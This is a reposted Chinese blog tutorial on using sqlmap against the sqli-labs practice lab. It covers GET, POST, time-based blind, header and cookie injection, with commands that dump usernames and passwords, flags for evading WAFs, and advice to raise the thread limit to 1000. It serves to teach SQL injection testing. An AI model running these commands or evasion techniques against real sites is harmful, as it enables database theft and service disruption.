前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >sqlmap基础使用详解(以sqli_labs为例)

sqlmap基础使用详解(以sqli_labs为例)

作者头像
用户1467662
发布2018-03-30 10:40:34
3.5K0
发布2018-03-30 10:40:34
举报
文章被收录于专栏:农夫安全

一、基于错误的GET型注入

如果确定该url下存在注入,直接把url扔到sqlmap

1 先探测当前数据库版本

语句:

sqlmap -u http://192.168.0.114:5555/Less-1/?id=1--current-db

2 知道数据库名,探测表名

语句:

sqlmap -u http://192.168.0.114:5555/Less-1/?id=1-D"security" --tables -v3

--tables 列出当前数据库下的所有表名

-v3 显示注入的payload

-v #详细的等级(0-6)

0:只显示Python的回溯,错误和关键消息。

1:显示信息和警告消息。

2:显示调试消息。

3:显示有效载荷注入。

4:显示HTTP请求。

5:显示HTTP响应头。

6:显示HTTP响应页面的内容

3 探测列名

语句:

sqlmap -u http://192.168.0.114:5555/Less-1/?id=1-D"security" -T"users" --columns -v3

--columns 列出当前表下的所有字段

4 最后dunp用户名密码

语句:

sqlmap -uhttp://192.168.0.114:5555/Less-1/?id=1 -D"security"-T"users" -C"username,password" --dump -v3

二、基于错误的POST型注入

Post型注入,个人最喜欢的方式就是,burp抓包,然后sqlmap直接跑包。

打开sql_labs演练平台,选择第十一关,登录账户密码我们不知道,所随便输入一个

把数据包内容复制到一个post.txt

放在root目录下

Sqlmap语句:

sqlmap -r"/root/post.txt" -p"uname"--dbms mysql –dbs

这条语句是直接列出所有数据库

-r 指定post数据包的路径

-p 指定进行测试注入点的参数,这里指定 uname

我们还可以指定注测试的等级(1-5,默认为1),用—level (1-5)

sqlmap -r"/root/post.txt" -p"uname"--dbms mysql –dbs –level 3

这个参数不仅影响使用哪些payload,同时也会影响测试的注入点,

不管level设置多少,GET和POST的数据都会测试,

level 2,会测试HTTP Cookie

level 3,就会测试HTTPUser-Agent/Referer头

总之在不确定哪个payload或者参数为注入点的时候,为了保证全面性,建议使用高的level值。

我们目前要的是当前数据库名,所以sqlmap语句如下

sqlmap -r"/root/post.txt" -p"uname"--dbms mysql –current-db

剩下的语句可以参照上面基于get型错误注入的语句。这里就不再重复

三、基于时间的盲注(GET)

这里以sql_libs第九关为例

下图是sqlmap语句探测的结果

Sqlmap –u” http://192.168.0.114:5555/Less-9/?id=1”–dbms mysql

Sqlmap探测出来的是存在布尔型注入和时间注入

我们这里以时间盲注来说

Sqlmap –u” http://192.168.0.114:5555/Less-9/?id=1”–dbms mysql –current-db

先探测出数据库名

Secutity

这个不再详解,上面已经有详细说明

既然是时间盲注,我们构造sqlmap语句

Sqlmap语句

sqlmap -u"http://192.168.0.114:5555/Less-9/?id=1"--dbms mysql -D"security" --tables --time-sec 10 -v3

--time-sec 10 设置延时时间位10秒

下面是sqlmap的payload

Sqlmap默认线程是10

可以进去配置文件设置,但是要主要,别设置太高了,容易把扫挂

【修改方法】

找到settings.py文件,具体在\lib\core\目录下

找到

# Maximum number of threads (avoidingconnection issues and/or DoS)

MAX_NUMBER_OF_THREADS = 10

【将↓】

MAX_NUMBER_OF_THREADS = 10

修改为MAX_NUMBER_OF_THREADS= 1000

这个数字可以任意设置,具体根据目标站的情况来比较好。

四、基于user-agent/referer头的注入

这里以sql_labs第十八关为例

保存名字位uagent.txt,放在root下面

Sqlmap语句

sqlmap -r"/root/uagent.txt" -p"user-agent"--dbms mysql --risk 3 -v 3

--level 3 测试等级为3,sqlmap才会去测试user-agent是否存在注入

这个测试遇到很多问题,一个sqlmap跑得慢,一个是一直找不到注入点

网上也有写说sqlmap没办法注入insert这类的语句。

后面在一遍文章看到了,在要注入的地方加个*试试,结果成功了。我这里是直接在uagent.txt里面的user-agent的值后面加了个*号,如下图

(注:这种方式是不是正确的不敢确定,如果有不对欢迎大佬指出,但是我这里测试的时候,是可以跑到最后得出用户名和密码的)

五、cookie注入

Burp抓包,扔进sqlmap

语句

sqlmap -r"/root/cookie.txt" --cookie --dbms mysql--level 2 -v 3

记录下几个有用的参数

1

HTTP User-Agent头

参数:--user-agent,--random-agent

默认情况下sqlmap的HTTP请求头中User-Agent值是:

sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)

可以使用--user-agent参数来修改,同时也可以使用--random-agent参数来随机的从./txt/user-agents.txt中获取。

例:

sqlmap -u "url" --random-agent -v2

#使用任意浏览器进行绕过,尤其是在WAF配置不当的时候

2

sqlmap -u "url" --hpp -v 3

#使用HTTP 参数污染进行绕过,尤其是在ASP.NET/IIS平台上

3

sqlmap -u "url" --delay=3.5--time-sec=60

#使用长的延时来避免触发WAF的机制,这方式比较耗时

4

sqlmap -u "url" --thread 10--identify-waf#首选

sqlmap -u "" --thread 10 --check-waf#备选

#进行检测是否有WAF/IPS/IDS

5

遇到伪静态,直接在参数后面加上*,其他的都一样

Sqlmap –u http://xxxx/xxx/xx/a*.html–dbms mysql

6

参数:--second-order

有些时候注入点输入的数据看返回结果的时候并不是当前的页面,而是另外的一个页面,这时候就需要你指定到哪个页面获取响应判断真假。--second-order后门跟一个判断页面的URL地址。

7

参数:--mobile

模仿智能手机

有时服务端只接收移动端的访问,此时可以设定一个手机的User-Agent来模仿手机登陆。

还有很多好用的参数,网络上也很多资料。

有听一个大佬说过,想学sql注入,有能力的话可以读下sqlmap源码,会有更进一步的理解。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2017-08-05,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 网络安全社区悦信安 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档